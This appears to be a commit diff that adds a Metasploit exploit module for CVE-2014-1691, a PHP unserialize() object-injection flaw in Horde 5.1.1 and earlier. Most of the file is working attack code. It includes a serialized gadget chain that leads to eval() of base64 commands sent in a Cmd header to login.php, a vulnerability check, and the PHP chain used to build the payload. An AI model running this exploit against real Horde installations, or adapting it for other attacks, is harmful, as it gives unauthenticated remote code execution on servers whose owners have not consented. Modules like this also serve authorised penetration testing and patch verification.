1
+ ##
2
+ # This module requires Metasploit: http//metasploit.com/download
3
+ # Current source: https://github.com/rapid7/metasploit-framework
4
+ ##
5
+
6
+ require 'msf/core'
7
+
8
+ class Metasploit3 < Msf ::Exploit ::Remote
9
+ Rank = ExcellentRanking
10
+
11
+ include Msf ::Exploit ::Remote ::HttpClient
12
+
13
+ def initialize ( info = { } )
14
+ super ( update_info ( info ,
15
+ 'Name' => 'Horde Framework Unserialize PHP Code Execution' ,
16
+ 'Description' => %q{
17
+ This module exploits a php unserialize() vulnerability in Horde <= 5.1.1 which could be
18
+ abused to allow unauthenticated users to execute arbitrary code with the permissions of
19
+ the web server. The dangerous unserialize() exists in the 'lib/Horde/Variables.php' file.
20
+ The exploit abuses the __destruct() method from the Horde_Kolab_Server_Decorator_Clean
21
+ class to reach a dangerous call_user_func() call in the Horde_Prefs class.
22
+ } ,
23
+ 'Author' =>
24
+ [
25
+ 'EgiX' , # Exploitation technique and Vulnerability discovery (originally reported by the vendor)
26
+ 'juan vazquez' # Metasploit module
27
+ ] ,
28
+ 'License' => MSF_LICENSE ,
29
+ 'References' =>
30
+ [
31
+ [ 'CVE' , '2014-1691' ] ,
32
+ [ 'URL' , 'http://karmainsecurity.com/exploiting-cve-2014-1691-horde-framework-php-object-injection' ] ,
33
+ [ 'URL' , 'https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=737149' ] ,
34
+ [ 'URL' , 'https://github.com/horde/horde/commit/da6afc7e9f4e290f782eca9dbca794f772caccb3' ]
35
+ ] ,
36
+ 'Privileged' => false ,
37
+ 'Platform' => [ 'php' ] ,
38
+ 'Arch' => ARCH_PHP ,
39
+ 'Payload' =>
40
+ {
41
+ 'DisableNops' => true
42
+ } ,
43
+ 'Targets' => [ [ 'Horde 5' , { } ] , ] ,
44
+ 'DefaultTarget' => 0 ,
45
+ 'DisclosureDate' => 'Jun 27 2013'
46
+ ) )
47
+
48
+ register_options (
49
+ [
50
+ OptString . new ( 'TARGETURI' , [ true , "The base path to Horde" , "/horde/" ] )
51
+ ] , self . class )
52
+ end
53
+
54
+ def check
55
+ flag = rand_text_alpha ( rand ( 10 ) +20 )
56
+ res = send_request_exploit ( "print #{ flag } ;die;" )
57
+ if res and res . body and res . body . to_s =~ /#{ flag } /
58
+ return Exploit ::CheckCode ::Vulnerable
59
+ end
60
+ return Exploit ::CheckCode ::Safe
61
+ end
62
+
63
+ def exploit
64
+ print_status ( "#{ peer } - Testing injection..." )
65
+ unless check == Exploit ::CheckCode ::Vulnerable
66
+ fail_with ( Failure ::NotVulnerable , "#{ peer } - Target isn't vulnerable, exiting..." )
67
+ end
68
+
69
+ print_status ( "#{ peer } - Exploiting the unserialize()..." )
70
+ send_request_exploit ( payload . encoded )
71
+ end
72
+
73
+ def send_request_exploit ( p )
74
+ php_injection = "eval(base64_decode($_SERVER[HTTP_CMD]));die();"
75
+
76
+ payload_serialized = "O:34:\" Horde_Kolab_Server_Decorator_Clean\" :2:{s:43:\" \x00 Horde_Kolab_Server_Decorator_Clean\x00 _server\" ;"
77
+ payload_serialized << "O:20:\" Horde_Prefs_Identity\" :2:{s:9:\" \x00 *\x00 _prefs\" ;O:11:\" Horde_Prefs\" :2:{s:8:\" \x00 *\x00 _opts\" ;a:1:{s:12:\" sizecallback\" ;"
78
+ payload_serialized << "a:2:{i:0;O:12:\" Horde_Config\" :1:{s:13:\" \x00 *\x00 _oldConfig\" ;s:#{ php_injection . length } :\" #{ php_injection } \" ;}i:1;s:13:\" readXMLConfig\" ;}}"
79
+ payload_serialized << "s:10:\" \x00 *\x00 _scopes\" ;a:1:{s:5:\" horde\" ;O:17:\" Horde_Prefs_Scope\" :1:{s:9:\" \x00 *\x00 _prefs\" ;a:1:{i:0;i:1;}}}}"
80
+ payload_serialized << "s:13:\" \x00 *\x00 _prefnames\" ;a:1:{s:10:\" identities\" ;i:0;}}s:42:\" \x00 Horde_Kolab_Server_Decorator_Clean\x00 _added\" ;a:1:{i:0;i:1;}}"
81
+
82
+ send_request_cgi (
83
+ {
84
+ 'uri' => normalize_uri ( target_uri . path . to_s , "login.php" ) ,
85
+ 'method' => 'POST' ,
86
+ 'vars_post' => {
87
+ '_formvars' => payload_serialized
88
+ } ,
89
+ 'headers' => {
90
+ 'Cmd' => Rex ::Text . encode_base64 ( p )
91
+ }
92
+ } )
93
+ end
94
+ end
95
+
96
+ =begin
97
+
98
+ PHP chain by EgiX: http://karmainsecurity.com/exploiting-cve-2014-1691-horde-framework-php-object-injection
99
+
100
+ class Horde_Config
101
+ {
102
+ protected $_oldConfig = "phpinfo();die;";
103
+ }
104
+
105
+ class Horde_Prefs_Scope
106
+ {
107
+ protected $_prefs = array(1);
108
+ }
109
+
110
+ class Horde_Prefs
111
+ {
112
+ protected $_opts, $_scopes;
113
+
114
+ function __construct()
115
+ {
116
+ $this->_opts['sizecallback'] = array(new Horde_Config, 'readXMLConfig');
117
+ $this->_scopes['horde'] = new Horde_Prefs_Scope;
118
+ }
119
+ }
120
+
121
+ class Horde_Prefs_Identity
122
+ {
123
+ protected $_prefs, $_prefnames;
124
+
125
+ function __construct()
126
+ {
127
+ $this->_prefs = new Horde_Prefs;
128
+ $this->_prefnames['identities'] = 0;
129
+ }
130
+ }
131
+
132
+ class Horde_Kolab_Server_Decorator_Clean
133
+ {
134
+ private $_server, $_added = array(1);
135
+
136
+ function __construct()
137
+ {
138
+ $this->_server = new Horde_Prefs_Identity;
139
+ }
140
+ }
141
+
142
+ $popchain = serialize(new Horde_Kolab_Server_Decorator_Clean);
143
+
144
+ =end
0 commit comments